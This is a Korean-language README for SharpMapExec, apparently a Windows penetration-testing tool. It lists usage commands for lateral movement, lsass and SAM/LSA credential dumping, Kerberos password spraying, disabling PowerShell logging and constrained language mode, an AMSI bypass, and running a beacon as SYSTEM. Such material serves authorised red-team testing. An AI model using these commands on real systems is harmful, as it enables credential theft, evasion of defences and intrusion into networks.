
Windows 네이티브 침투 테스트 스위스 아미 나이프로, Kerberos/NTLM 인증을 지원하며 CIM, SMB, WinRM, LDAP 및 도메인 프로토콜 전반에 걸친 횡적 이동, 자격 증명 접근, 데이터 유출 및 취약점 스캐닝을 수행합니다.
CrackMapExec의 샤프 버전입니다. 이 도구는 네트워크 침투 테스트를 간소화하고 내부 위협 시뮬레이션 중에 종종 요구되는 Windows에서 실행하도록 만들어진 스위스 아미 나이프를 만들기 위해 제작되었습니다.
접근 스캔 외에도 취약한 구성을 식별하고 데이터를 유출하는 데 사용할 수 있습니다. 데이터 유출 모듈의 아이디어는 원격 컴퓨터에서 필요한 최소한의 코드만 실행하는 것입니다. 이를 위해 도구는 모든 비밀을 loot 디렉토리에 다운로드하고 로컬에서 파싱합니다.
Kerberos 또는 NTLM 인증을 사용할지 지정할 수 있습니다. Kerberos를 선택하면 도구가 희생 토큰을 생성하고 Rubeus를 사용하여 티켓을 가져오거나 요청합니다. NTLM이 지정되면 도구는 SharpKatz의 SetThreadToken 또는 LogonUser 가장을 사용합니다.
SharpMapExec.exe
usage:
--- Cim ---
Need plaintext password or the /impersonate flag
SharpMapExec.exe ntlm cim /user:USER /password:PASSWORD /computername:TARGET
Available Cim modules
/m:enable_winrm (Runs Enable-PSRemoting -Force)
/m:disable_winrm (Runs Disable-PSRemoting -Force)
/m:disable_pslockdown (Modify __PSLockdownPolicy registry to disable CLM)
/m:disable_pslogging (Modify registry to disable PowerShell Logging)
/m:check_pslockdown (Check __PSLockdownPolicy registry)
/m:check_pslogging (Check PowerShell Logging registry)
--- Reg32 ---
SharpMapExec.exe ntlm reg32 /user:USER /ntlm:HASH /computername:TARGET
SharpMapExec.exe kerberos reg32 </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
Reg32 modules
/m:disable_pslockdown (Modify __PSLockdownPolicy registry to disable CLM)
/m:check_pslockdown (Check __PSLockdownPolicy registry)
/m:check_pslogging (Check PowerShell Logging registry)
--- Smb ---
SharpMapExec.exe ntlm smb /user:USER /ntlm:HASH /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos smb </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
Smb modules
/m:shares (Scan for accessible Smb shares)
--- WinRm ---
SharpMapExec.exe ntlm winrm /user:USER /password:PASSWORD /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos winrm </user:USER /rc4:HASH /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
WinRm modules
/m:exec /a:whoami (Invoke-Command)
/m:exec /a:C:\beacon.exe /system (Invoke-Command as System)
/m:comsvcs (Dump & parse lsass)
/m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs)
/m:assembly /p:Rubeus.exe /a:dump (Execute local C# assembly in memory)
/m:assembly /p:beacon.exe /system (Execute local C# assembly as System in memory)
/m:assembly /p:getMailBox.exe /delegwalk (Execute local C# assembly in all unique delegation processes in memory)
/m:download /path:C:\file /destination:file (Download file from host)
/m:upload /path:C:\file /destination:file (Upload file to host)
--- Domain ---
SharpMapExec.exe kerbspray /users:USERS.TXT /passwords:PASSWORDS.TXT /domain:DOMAIN /dc:DC
SharpMapExec.exe tgtdeleg
--- Ldap ---
SharpMapExec.exe ntlm domain /user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE
SharpMapExec.exe kerberos ldap </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE | /ticket:TICKET.Kirbi>
Ldap modules
/m:spraydata (Download user and password policy)
관리자 접근, 접근 가능한 SMB 공유, SMB 버전 및 릴레이 서명을 스캔하는 데 사용할 수 있습니다.
/m:shares (Scan enumerated shares for access)
야수입니다. 내장된 Amsi 우회, JEA 언어 탈출, JEA 함수 분석 기능이 있습니다. 코드 실행, PsRemote 접근 스캔, 취약한 JEA 엔드포인트 및 데이터 유출에 사용할 수 있습니다.
/m:exec /a:whoami (Invoke-Command)
/m:exec /a:C:\beacon.exe /system (Invoke-Command as System)
/m:comsvcs (Dump Lsass Process)
/m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs)
/m:assembly /p:Rubeus.exe /a:dump (Execute Local C# Assembly in memory)
/m:assembly /p:beacon.exe /system (Execute Local C# Assembly as System in memory)
/m:download /path:C:\file /destination:file (Download File from Host)
현재 도메인 비밀번호 스프레이와 현재 사용자에 대한 TGT를 생성하여 /ticket 매개변수와 함께 사용하여 현재 컨텍스트를 얻는 것을 지원합니다.
pw 스프레이 전에 필요한 데이터 다운로드
/m:spraydata (Download user and password policy)
C# 어셈블리의 손쉬운 또는 대량 메모리 내 실행을 위해

Kerberos 비밀번호 스프레이 후 로컬 관리자 접근 스캔

이 프로젝트는 JEA 엔드포인트 스캔을 지원하며 기본이 아닌 명령의 소스 코드를 분석하고 엔드포인트가 no-language 모드로 구성되지 않았는지 확인합니다.

NT 해시로 로컬 관리자 비밀번호 재사용 확인

내장된 Microsoft 서명 DLL로 Lsass 프로세스를 대량 덤프하고 loot 폴더에 저장합니다.

사용자별 고유하게 정렬된 모든 위임 프로세스에서 실행

SMB 서명 및 SMBv1 스캔

그리고 훨씬 더!
Kerberos를 사용하는 일부 시나리오에서는 DC와 시계를 동기화하고 DNS를 설정해야 합니다.
net time \\DC01.hackit.local /set
Get-NetAdapter ethernet0* | Set-DnsClientServerAddress -ServerAddresses @('192.168.1.10')
이 도구에 도움이 되었거나 포함된 프로젝트